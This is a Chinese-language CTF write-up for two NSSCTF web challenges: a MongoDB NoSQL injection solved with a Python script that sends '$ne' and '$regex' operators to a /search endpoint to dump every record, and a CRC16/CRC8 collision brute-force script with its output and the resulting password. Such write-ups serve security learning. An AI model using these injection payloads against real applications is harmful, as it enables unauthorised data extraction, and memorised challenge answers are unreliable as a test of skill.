依旧是单军奋战这一块,而且下午睡到 5 点多才想起来还有这么个比赛,半个小时速通两道 WEB 题这一块

WEB

ez_signin

这题就是典型的 MongoDB NoSQL 注入,突破口在源码里 POST /search 接受 JSON 时,title/author 如果是 dict 会被原样拼进查询,没有加 $eq 且不做净化,所以可以直接塞 $ne / $regex 等操作符来“放大查询”拿到库里全部书、然后做一轮搜索搜出 flag
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests, re, json

base = "http://node8.anna.nssctf.cn:27612"

def dump_all():
# 取全量(有标题的都来)
r = requests.post(base + "/search",
headers={"Content-Type":"application/json"},
json={"title": {"$ne": None}})
r.raise_for_status()
data = r.json()
print(f"[+] got {len(data)} docs")
for d in data:
print(json.dumps(d, ensure_ascii=False))
return data

def grep_flag(docs):
pat = re.compile(r'(?:nssctf|flag)\{[^}]{0,200}\}', re.I)
for d in docs:
for k in ("title","author","description"):
v = (d.get(k) or "")
m = pat.search(v)
if m:
print("[!] FLAG =>", m.group(0))
return True
return False

if __name__ == "__main__":
docs = dump_all()
if not grep_flag(docs):
# 再做一轮模糊搜
for field in ("title","author","description"):
r = requests.post(base + "/search",
headers={"Content-Type":"application/json"},
json={field: {"$regex": "flag|nssctf", "$options":"i"}})
try:
data = r.json()
except:
continue
if grep_flag(data):
break

ezCRC

CRC 碰撞,题目中是 CRC16 和 CRC8 的碰撞,写一个脚本计算在保持 CRC16 和 CRC8 值不变的情况下,生成一个与原密码不同的碰撞密码

脚本当然是 ai 这一块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import numpy as np

SECRET_PASS = b"Enj0yNSSCTF4th!"
length = len(SECRET_PASS)

CRC16_POLY = 0xA001

CRC8_TABLE = [
0x00,0x07,0x0E,0x09,0x1C,0x1B,0x12,0x15,0x38,0x3F,0x36,0x31,0x24,0x23,0x2A,0x2D,
0x70,0x77,0x7E,0x79,0x6C,0x6B,0x62,0x65,0x48,0x4F,0x46,0x41,0x54,0x53,0x5A,0x5D,
0xE0,0xE7,0xEE,0xE9,0xFC,0xFB,0xF2,0xF5,0xD8,0xDF,0xD6,0xD1,0xC4,0xC3,0xCA,0xCD,
0x90,0x97,0x9E,0x99,0x8C,0x8B,0x82,0x85,0xA8,0xAF,0xA6,0xA1,0xB4,0xB3,0xBA,0xBD,
0xC7,0xC0,0xC9,0xCE,0xDB,0xDC,0xD5,0xD2,0xFF,0xF8,0xF1,0xF6,0xE3,0xE4,0xED,0xEA,
0xB7,0xB0,0xB9,0xBE,0xAB,0xAC,0xA5,0xA2,0x8F,0x88,0x81,0x86,0x93,0x94,0x9D,0x9A,
0x27,0x20,0x29,0x2E,0x3B,0x3C,0x35,0x32,0x1F,0x18,0x11,0x16,0x03,0x04,0x0D,0x0A,
0x57,0x50,0x59,0x5E,0x4B,0x4C,0x45,0x42,0x6F,0x68,0x61,0x66,0x73,0x74,0x7D,0x7A,
0x89,0x8E,0x87,0x80,0x95,0x92,0x9B,0x9C,0xB1,0xB6,0xBF,0xB8,0xAD,0xAA,0xA3,0xA4,
0xF9,0xFE,0xF7,0xF0,0xE5,0xE2,0xEB,0xEC,0xC1,0xC6,0xCF,0xC8,0xDD,0xDA,0xD3,0xD4,
0x69,0x6E,0x67,0x60,0x75,0x72,0x7B,0x7C,0x51,0x56,0x5F,0x58,0x4D,0x4A,0x43,0x44,
0x19,0x1E,0x17,0x10,0x05,0x02,0x0B,0x0C,0x21,0x26,0x2F,0x28,0x3D,0x3A,0x33,0x34,
0x4E,0x49,0x40,0x47,0x52,0x55,0x5C,0x5B,0x76,0x71,0x78,0x7F,0x6A,0x6D,0x64,0x63,
0x3E,0x39,0x30,0x37,0x22,0x25,0x2C,0x2B,0x06,0x01,0x08,0x0F,0x1A,0x1D,0x14,0x13,
0xAE,0xA9,0xA0,0xA7,0xB2,0xB5,0xBC,0xBB,0x96,0x91,0x98,0x9F,0x8A,0x8D,0x84,0x83,
0xDE,0xD9,0xD0,0xD7,0xC2,0xC5,0xCC,0xCB,0xE6,0xE1,0xE8,0xEF,0xFA,0xFD,0xF4,0xF3
]

# 生成 CRC16 和 CRC8 矩阵(这里简化处理:只修改最后 3 个字节)
def compute_crc16_simple(data):
crc = 0xFFFF
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ CRC16_POLY if crc & 1 else crc >> 1
return crc

def compute_crc8_simple(data):
crc = 0
for b in data:
crc = CRC8_TABLE[(crc ^ b) & 0xFF]
return crc

# 构造线性系统求解修改字节
def gf2_solve(crc_target16, crc_target8, original):
# 我们修改最后3个字节,创建 24 位 GF(2) 方程
# 这里用暴力线性搜索示例,可优化为矩阵求解
for b1 in range(256):
for b2 in range(256):
for b3 in range(256):
candidate = bytearray(original)
candidate[-3] ^= b1
candidate[-2] ^= b2
candidate[-1] ^= b3
if candidate != original and compute_crc16_simple(candidate) == crc_target16 and compute_crc8_simple(candidate) == crc_target8:
return bytes(candidate)
return None

crc16_val = compute_crc16_simple(SECRET_PASS)
crc8_val = compute_crc8_simple(SECRET_PASS)

collision = gf2_solve(crc16_val, crc8_val, SECRET_PASS)
if collision:
print(f"原密码: {SECRET_PASS}")
print(f"碰撞密码: {collision}")
print(f"CRC16: {compute_crc16_simple(collision)}, CRC8: {compute_crc8_simple(collision)}")
else:
print("未找到碰撞密码")

运行结果:

1
2
3
原密码: b'Enj0yNSSCTF4th!'
碰撞密码: b'Enj0yNSSCTF4{(%'
CRC16: 17262, CRC8: 163

POST 提交 pass=Enj0yNSSCTF4{(% 即可获得flag